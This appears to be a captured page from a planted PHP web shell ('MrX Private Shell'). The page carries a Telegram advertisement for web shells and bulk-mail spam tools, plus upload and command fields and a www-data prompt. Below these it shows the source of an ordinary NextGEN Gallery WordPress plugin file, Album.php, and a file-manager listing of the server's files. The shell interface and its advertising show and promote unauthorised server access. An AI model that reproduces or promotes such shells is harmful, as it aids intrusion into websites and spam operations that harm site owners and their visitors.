__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php

namespace Imagely\NGG\DataMappers;

use Imagely\NGG\DataMapper\TableDriver;
use Imagely\NGG\Display\I18N;
use Imagely\NGG\Util\Transient;

class Album extends TableDriver {

	private static $instance = null;

	public $model_class = 'Imagely\NGG\DataTypes\Album';

	public $primary_key_column = 'id';

	// Necessary for legacy compatibility.
	public $custom_post_name = 'mixin_nextgen_table_extras';

	public function __construct() {
		$this->define_column( 'albumdesc', 'TEXT' );
		$this->define_column( 'id', 'BIGINT', 0 );
		$this->define_column( 'name', 'VARCHAR(255)' );
		$this->define_column( 'pageid', 'BIGINT', 0 );
		$this->define_column( 'previewpic', 'BIGINT', 0 );
		$this->define_column( 'slug', 'VARCHAR(255)' );
		$this->define_column( 'sortorder', 'TEXT' );
		$this->define_column( 'extras_post_id', 'BIGINT', 0 );

		// Add date columns
		$this->define_column( 'date_created', 'DATETIME' );
		$this->define_column( 'date_modified', 'DATETIME' );

		// Add display type related columns
		$this->define_column( 'display_type', 'VARCHAR(255)', 'photocrati-nextgen_basic_thumbnails' );
		$this->define_column( 'display_type_settings', 'MEDIUMTEXT' );

		$this->add_serialized_column( 'sortorder' );
		$this->add_serialized_column( 'display_type_settings' );

		parent::__construct( 'ngg_album' );
	}

	/**
	 * @return Album
	 */
	static function get_instance() {
		if ( is_null( self::$instance ) ) {
			self::$instance = new Album();
		}
		return self::$instance;
	}

	/**
	 * @param string $slug
	 * @return null|\Imagely\NGG\DataTypes\Album
	 */
	public function get_by_slug( $slug ) {
		$results = $this->select()->where( [ 'slug = %s', sanitize_title( $slug ) ] )->limit( 1 )->run_query();
		return array_pop( $results );
	}

	public function save_entity( $entity ) {
		// Set dates for new or existing entities
		$current_time = current_time( 'mysql', true );
		if ( empty( $entity->{$entity->id_field} ) ) {
			$entity->date_created = $current_time;
		}
		$entity->date_modified = $current_time;

		// Initialize display type settings before saving
		$this->initialize_display_type_settings( $entity );

		$retval = parent::save_entity( $entity );

		if ( $retval ) {
			\do_action( 'ngg_album_updated', $entity );
			Transient::flush( 'displayed_gallery_rendering' );
		}

		return $retval;
	}

	/**
	 * Gets all available display types and their default settings
	 *
	 * @return array Array of display types and their default settings
	 */
	private function get_all_display_type_defaults() {
		$display_mapper = \Imagely\NGG\DataMappers\DisplayType::get_instance();
		$display_types  = $display_mapper->find_by_entity_type( 'album' );
		$defaults       = [];

		if ( ! $display_types ) {
			return $defaults;
		}

		foreach ( $display_types as $display_type ) {
			if ( ! empty( $display_type->hidden_from_ui ) ) {
				continue;
			}
			$defaults[ $display_type->name ] = $display_type->settings;
		}

		return $defaults;
	}

	/**
	 * Ensures display type settings are properly initialized with defaults
	 *
	 * @param object $entity The album entity
	 * @return void
	 */
	private function initialize_display_type_settings( $entity ) {
		// Initialize display type settings if not set
		if ( ! is_array( $entity->display_type_settings ) ) {
			$entity->display_type_settings = [];
		}

		// Get defaults for all display types
		$all_defaults = $this->get_all_display_type_defaults();

		// Ensure all display types have settings
		foreach ( $all_defaults as $type_name => $defaults ) {
			if ( ! isset( $entity->display_type_settings[ $type_name ] ) ) {
				$sanitized_defaults = array_map(
					function ( $value ) {
						return is_bool( $value ) ? (int) $value : $value;
					},
					$defaults
				);

				$entity->display_type_settings[ $type_name ] = $sanitized_defaults;
			}
		}
	}

	/**
	 * @param \Imagely\NGG\DataTypes\Album
	 */
	public function set_defaults( $entity ) {
		$this->set_default_value( $entity, 'name', '' );
		$this->set_default_value( $entity, 'albumdesc', '' );
		$this->set_default_value( $entity, 'sortorder', [] );
		$this->set_default_value( $entity, 'previewpic', 0 );
		$this->set_default_value( $entity, 'exclude', 0 );

		// Normalize sortorder to ensure all gallery IDs are integers and album IDs have 'a' prefix
		if ( ! empty( $entity->sortorder ) && is_array( $entity->sortorder ) ) {
			$entity->sortorder = array_map( function( $item ) {
				// If it starts with 'a', it's an album - keep the prefix and sanitize the ID
				if ( is_string( $item ) && strpos( $item, 'a' ) === 0 ) {
					return 'a' . absint( substr( $item, 1 ) );
				}
				// Otherwise it's a gallery ID - convert to integer
				return absint( $item );
			}, $entity->sortorder );
		}

		if ( isset( $entity->name ) && empty( $entity->slug ) ) {
			$entity->slug = \nggdb::get_unique_slug( sanitize_title( $entity->name ), 'album' );
		}

		if ( ! is_admin() && ! empty( $entity->{$entity->id_field} ) ) {
			if ( ! empty( $entity->name ) ) {
				$entity->name = I18N::translate( $entity->name, 'album_' . $entity->{$entity->id_field} . '_name' );
			}
			if ( ! empty( $entity->albumdesc ) ) {
				$entity->albumdesc = I18N::translate( $entity->albumdesc, 'album_' . $entity->{$entity->id_field} . '_description' );
			}

			// these fields are set when the album is a child to another album.
			if ( ! empty( $entity->title ) ) {
				$entity->title = I18N::translate( $entity->title, 'album_' . $entity->{$entity->id_field} . '_name' );
			}
			if ( ! empty( $entity->galdesc ) ) {
				$entity->galdesc = I18N::translate( $entity->galdesc, 'album_' . $entity->{$entity->id_field} . '_description' );
			}
		}
	}
}

Filemanager

Name Type Size Permission Actions
Album.php File 5.52 KB 0644
DisplayType.php File 3.46 KB 0644
DisplayedGallery.php File 2.02 KB 0644
Gallery.php File 10.77 KB 0644
Image.php File 6.42 KB 0644
Filemanager